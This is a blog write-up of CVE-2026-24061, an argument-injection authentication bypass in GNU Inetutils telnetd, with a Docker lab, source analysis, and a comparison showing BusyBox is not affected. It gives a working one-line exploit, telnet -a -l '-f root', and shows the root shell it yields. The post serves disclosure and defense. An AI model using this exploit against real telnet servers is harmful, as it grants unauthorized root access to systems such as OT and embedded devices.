<< back
26 January 2026
CVE-2026-24061 - Telnet Authentication Bypass Vulnerability Walkthrough and Analysis
Vulnerability: CVE-2026-24061 (GNU Inetutils telnetd)
It’s been a few years since I’ve posted anything here myself or on behalf of Team NINPWN, even though I’ve been accruing write-ups for CTFs in our notes that never make it over. Figured this was a good way to get back into personal community contribution though, outside of what we do for our 9 to 5s. Enjoy!
We spent some time this weekend exploring CVE-2026-24061, the new vulnerability in GNU Inetutils telnetd that allows an attacker to inject arguments into the login process via the USER environment variable and bypass authentication.
In short, telnet -a -l '-f root' <IP> will drop an attacker into root shell on all versions of this specific telnetd server from 2015 to present.
We wanted to try this out for ourselves and, since Telnet is still everywhere in OT and embedded environments, we also wanted to see if this (or a possible variant) affected other common implementations like BusyBox. We spun up a lab to verify the exploit on GNU Inetutils and checked if BusyBox telnetd was also vulnerable.
Below is our analysis along with a lab setup walkthrough for anyone who wants to experiment with this themselves.
TLDR
| Implementation | Status | Reason |
|---|---|---|
| GNU Inetutils | Confirmed as Exploitable | Unsafe template expansion (%U) of user-supplied data into the login command string. |
| BusyBox | Not Exploitable (…but still just please stop using Telnet in 2026 and if you have to, restrict network access as much as possible…) | Smart (or lazy) devs never implemented the RFC 1572 option on the server side and use hardcoded arguments (argv) for execution. |
Lab Setup
Step 1: Environment Pre-reqs
To follow along, you just need a Linux host (we used Debian 13.3) with Telnet pre-installed. For Docker installation we used:
# Add Docker's official GPG key:
apt update && apt install -y ca-certificates curl gnupg
install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg
chmod a+r /etc/apt/keyrings/docker.gpg
# Add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
tee /etc/apt/sources.list.d/docker.list > /dev/null
# Install Docker:
apt update && apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
Step 2: The Lab Setup
We used two containers: one running the vulnerable GNU Inetutils daemon and one running the secure BusyBox implementation.
- Target 1: The Vulnerable Box (GNU)
We deployed an older Debian container (Buster) and install inetutils-telnetd and purposely left /etc/securetty active. Normally, this stops root from logging in on pseudo-terminals, but as you’ll see, this exploit completely ignores it.
docker run -d \
--name telnet-gnu \
debian:buster \
sh -c "echo 'deb http://archive.debian.org/debian buster main' > /etc/apt/sources.list && \
echo 'deb http://archive.debian.org/debian-security buster/updates main' >> /etc/apt/sources.list && \
apt-get -o Acquire::Check-Valid-Until=false update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y inetutils-telnetd openbsd-inetd && \
useradd -m OTmaintenance && \
echo 'OTmaintenance:OTmaintenance123' | chpasswd && \
echo 'root:LabRoot123' | chpasswd && \
echo 'telnet stream tcp nowait root /usr/sbin/telnetd telnetd' > /etc/inetd.conf && \
/usr/sbin/inetd -d"

- Target 2: The Unknown Box (BusyBox)
We deployed Alpine Linux with busybox-extras to serve as our other test system. This mimics the lightweight environment found in many IoT/OT devices.
docker run -d \
--name telnet-busybox \
alpine:3.22 \
sh -c "apk add --no-cache busybox-extras && \
adduser -D OTmaintenance && \
echo 'OTmaintenance:OTmaintenance123' | chpasswd && \
echo 'root:LabRoot123' | chpasswd && \
telnetd -F"


Step 3: The Exploit Mechanism (CVE-2026-24061)
The exploit relies on two specific options in the standard telnet client, both of which facilitate RFC 1572 (Telnet Environment Option), which the RFC describes as:
" ...a mechanism for passing environment
information between a telnet client and server. Use of this
mechanism enables a telnet user to propagate configuration
information to a remote host when connecting."
Checking out telnet options:

1. telnet -a (Automatic Login)
-
This option enables the client to attempt automatic login. It tells the client to send the
WILL NEW-ENVIRONoption during the initial negotiation handshake. -
If the server agrees (responds with
DO NEW-ENVIRON), the client is then permitted to send environment variables across the wire.
2. telnet -l <user> (Login Name)
-
When you use
-l, the client sets theUSERenvironment variable to the string you provide. -
The client does not validate the content of this string. It assumes you are providing a valid username (e.g., “shinris3n”). If you provide “
-f root”, the client setsUSER="-f root"and transmits it to the server.
The vulnerable code snippet in GNU_Inetutils_telnetd.c is:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
/* TODO: `-s telnet' or `-s ktelnet'.
* `-u' takes the Kerberos principal name
* of the authenticating, remote user.
*/
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
/* At least for SunOS 5.8. */
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
In the !SOLARIS branch, %?u evaluates to false because %u is reserved for sessions that have already authenticated via the Telnet protocol (like Kerberos). Since we are coming in unauthenticated, this is null and the %U path applies, then pulls what we supply via -l and expands it directly into the command string without sanitization.
In the context of the login binary:

Intended Behavior: If we provide a standard username (e.g., OTmaintenance), the daemon constructs a command like this: login -p -h <host> OTmaintenance and the system just prompts for a password.
Exploited Behavior: By using the telnet -l option to inject flags into the username variable (e.g., -f root), the template expands to: login -p -h <host> -f root and the shell sees -f (force) as a flag for login rather than part of the username. This tells login that the user is already authenticated.
Step 4: Execution and Verification
First, grab the IP addresses:
docker inspect -f ' - ' telnet-busybox telnet-gnu
Next, we execute the attack using the standard telnet client. The -a flag attempts automatic login and -l lets us specify our malicious user variable.
Super Complex Exploit String:
telnet -a -l '-f root' <TARGET_IP>
-
GNU Inetutils (Vulnerable)
When targeting the GNU container, you should see immediate root access:
Trying 172.17.0.2...
Connected to 172.17.0.2.
Escape character is '^]'.
root@943b8243d87c:~# id
uid=0(root) gid=0(root) groups=0(root)
Bypassing /etc/securetty
We really wanted to highlight this part. Typically, Linux systems use /etc/securetty to prevent root logins on pseudo-terminals (pts/0).
This configuration is ignored.
Because the -f flag tells the login binary that the user is already authenticated, the entire authentication phase is skipped. This means login never checks /etc/securetty or prompts for a password. No configuration change to login or securetty will stop this; you have to patch the server code.
In action:

-
BusyBox (Not Exploitable)
When targeting the BusyBox container, the exploit fails:
Trying 172.17.0.3...
Connected to 172.17.0.3.
Escape character is '^]'.
login: root
Login incorrect
In action:

Step 5: Code Analysis (Why the Exploit Doesn’t Work on BusyBox’s Implementation)
A look at the source code for BusyBox telnetd (busybox_telnetd.c) shows why it is immune. Instead of using string templates to build the command, it manually constructs the argument array (argv) in C:
/* busybox_telnetd.c */
login_argv[0] = G.loginpath; // Resolves to /bin/login
login_argv[1] = NULL; // Explicit terminator
BB_EXECVP(G.loginpath, (char **)login_argv);
By explicitly terminating the argument list at index 1, BusyBox ensures that no user-supplied data can be interpreted as a command-line flag.
Not that this matters, because (even though their Telnet client supports it) BusyBox doesn’t even implement the NEW-ENVIRON option required to pass environment variables (like our malicious USER variable) in the first place. It explicitly handles TELOPT_NAWS (Window Size) but falls through for everything else, implicitly dropping our payload:
/* busybox_telnetd.c */
if (buf[1] == SB) {
if (buf[2] == TELOPT_NAWS) {
/* ... Logic to handle Window Size (NAWS) ... */
/* ... */
goto update_and_return;
}
/* else: other subnegs not supported yet */
}
Cleanup
Once you are done testing, you can stop and remove the containers with:
docker rm -f telnet-busybox telnet-gnu
Conclusion
From the coding perspective, this is a great example of why using string expansion for system calls is a bad idea, and in this case it allows for trivial takeover of affected systems. You can add this to the long list of reasons to stop using (or at least further restrict access to) Telnet in your environment. Since the exploit skips the authentication check entirely, standard hardening like securetty doesn’t help. The only real fix is patching. It’s absolutely wild that this has gone undiscovered for 10+ years.
